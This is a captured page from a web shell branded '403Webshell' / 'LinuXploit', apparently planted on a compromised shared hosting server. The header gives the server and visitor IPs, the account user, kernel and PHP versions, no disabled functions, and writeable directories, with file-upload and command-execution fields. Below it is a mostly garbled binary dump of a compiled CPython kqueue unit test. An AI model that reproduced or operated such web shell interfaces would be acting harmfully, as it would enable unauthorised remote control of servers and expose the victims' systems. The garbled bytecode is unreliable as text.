403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_kqueue.cpython-36.pyc
3

�w2_9#�@sndZddlZddlZddlZddlZddlZddlZeed�sHejd��Gdd�dej	�Z
edkrjej�dS)z
Tests for kqueue wrapper.
�N�kqueueztest works only on BSDc@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�
TestKQueuecCsTtj�}|j|j�dk|j��|j|j�|j�|j|j�|jt|j�dS)Nr)�selectr�
assertTrue�fileno�closed�close�assertRaises�
ValueError)�self�kq�r
�5/opt/alt/python36/lib64/python3.6/test/test_kqueue.py�test_create_queueszTestKQueue.test_create_queuec
Cs*ddlm}m}m}m}tjtjtj�}|j	tj
|�tj|�}tjd�}|j
|j|�|j
|jtj�|j
|jtj�|j
|jd�|j
|jd�|j
|jd�|j
||�|j||�|j||k�|j||k�xD||||fD]4}|jt||d�|jt||d�|jt||d�q�Wtj|tj�}|j
|j|�|j
|jtj�|j
|jtj�|j
|jd�|j
|jd�|j
|jd�|j
||�|j||�tj|tjtj�}|j
|j|�|j
|jtj�|j
|jtj�|j
|jd�|j
|jd�|j
|jd�|j
||�|j||�tjddddd	d
�}|j
|jd�|j
|jd�|j
|jd�|j
|jd�|j
|jd	�|j
|jd
�|j
||�|j||�d}	tj|	ddd|	d|	�}|j
|j|	�|j
|jd�|j
|jd�|j
|jd�|j
|j|	d�|j
|j|	�|j
||�|j||�d}	tjdd|	�}|j
|jd�|j
|jd�|j
|j|	�|j
|jd�|j
|jd�|j
|jd�|j
||�|j||�d
}	tjddd|	�}|j
|jd�|j
|jd�|j
|jd�|j
|j|	�|j
|jd�|j
|jd�|j
||�|j||�dS)Nr)�lt�le�gt�gei���ev�����i�i��l��)�operatorrrrr�os�open�devnull�O_WRONLY�
addCleanuprr�kevent�assertEqual�ident�filter�KQ_FILTER_READ�flags�	KQ_EV_ADDZfflags�dataZudataZassertNotEqualrr	�	TypeError�KQ_FILTER_WRITEZ
KQ_EV_ONESHOT)
rrrrr�fdr�other�opZbignumr
r
r�test_create_events�

zTestKQueue.test_create_eventcCstj�}|jd�|j�tj�}|jd�y|jd|j�df�Wn6tk
r|}z|j|jdt	j
�WYdd}~XnX|j�\}}tj
�}tj
j|j��}tj|j�tjtjtjB�}|j|gd�tj|j�tjtjtjB�}|j|gd�tj|j�tjtjtjB�}|j|gd�tj|j�tjtjtjB�}|j|gd�|jddd�}	tdd�|	D��}	|j|	t|j�tjf|j�tjfg��|jd�|jd	�xDtd
�D].}
|jddd�}	t|	�dk�r�Ptjd��q�W|jd�td
d�|	D��}	|j|	t|j�tjf|j�tjf|j�tjf|j�tjfg��tj|j�tjtj�}|j|gd�tj|j�tjtj�}|j|gd�tj|j�tjtj�}|j|gdd�|jgdd�}	tdd�|	D��}	|j|	t|j�tjfg��|j�|j�|j�dS)N�	127.0.0.1rFrrcss|]}|j|jfVqdS)N)r#r$)�.0�er
r
r�	<genexpr>�sz.TestKQueue.test_queue_event.<locals>.<genexpr>sHello!sworld!!!�
g�?z'timeout waiting for event notificationscss|]}|j|jfVqdS)N)r#r$)r0r1r
r
rr2�sg�G�z��?css|]}|j|jfVqdS)N)r#r$)r0r1r
r
rr2�s)r/r)�socketZbindZlistenZsetblockingZconnectZgetsockname�OSErrorr"�args�errnoZEINPROGRESSZacceptrrZfromfdrr!r*r'�KQ_EV_ENABLE�controlr%�set�send�range�len�timeZsleepZfailZKQ_EV_DELETEr)rZserverSocketZclientr1ZserverZaddrrZkq2rZevents�ir
r
r�test_queue_eventps�

&









zTestKQueue.test_queue_eventcCs�tj�}tj�\}}|jd�tj|tjtjtjB�}tj|tjtjtjB�}|j	||gdd�}|j
|�|j|djtj
@�|j|j|dj�d�|j�|j�|j�dS)Nsfoorr)rrr4�
socketpairr;r!r%r'r8r9r�assertFalser&ZKQ_EV_ERRORr"Zrecvr(r)rr�a�bZevent1Zevent2�rr
r
r�testPair�s

zTestKQueue.testPaircs�tj�}tj�\}}tj|tjtjtjB��|j�gd�|j�fd�G�fdd�d�}|j|�d�|jt	�g�d�|j
�|j
�|j
�dS)Nrcs eZdZdd�Z�fdd�ZdS)z+TestKQueue.test_issue30058.<locals>.BadListcSsdS)Nrr
)rr
r
r�__len__�sz3TestKQueue.test_issue30058.<locals>.BadList.__len__c3sxtd�D]
}�Vq
WdS)N�d)r<)rr?)rr
r�__iter__�sz4TestKQueue.test_issue30058.<locals>.BadList.__iter__N)�__name__�
__module__�__qualname__rGrIr
)rr
r�BadList�srM)rrr4rAr!r%r'r8r9�iterr)rrrCrDrMr
)rr�test_issue30058�szTestKQueue.test_issue30058cCs�ttd�}|j|j�|j�}tj�}|j|j�t�|j	|j
�|j�|j|j
�|jt
|j�|j�|jt
|jdd�dS)N�rbr)r�__file__r rrrrZassertIsInstance�intrBrrr	r
r9)rZ	open_filer+rr
r
r�
test_close�s
zTestKQueue.test_closecCs.tj�}|j|j�|jtj|j��d�dS)NF)rrr rr"r�get_inheritabler)rrr
r
r�test_fd_non_inheritablesz"TestKQueue.test_fd_non_inheritableN)
rJrKrLrr.r@rFrOrSrUr
r
r
rrsYSr�__main__)
�__doc__r7rrr4r>Zunittest�hasattrZSkipTestZTestCaserrJ�mainr
r
r
r�<module>s

y

Youez - 2016 - github.com/yon3zu
LinuXploit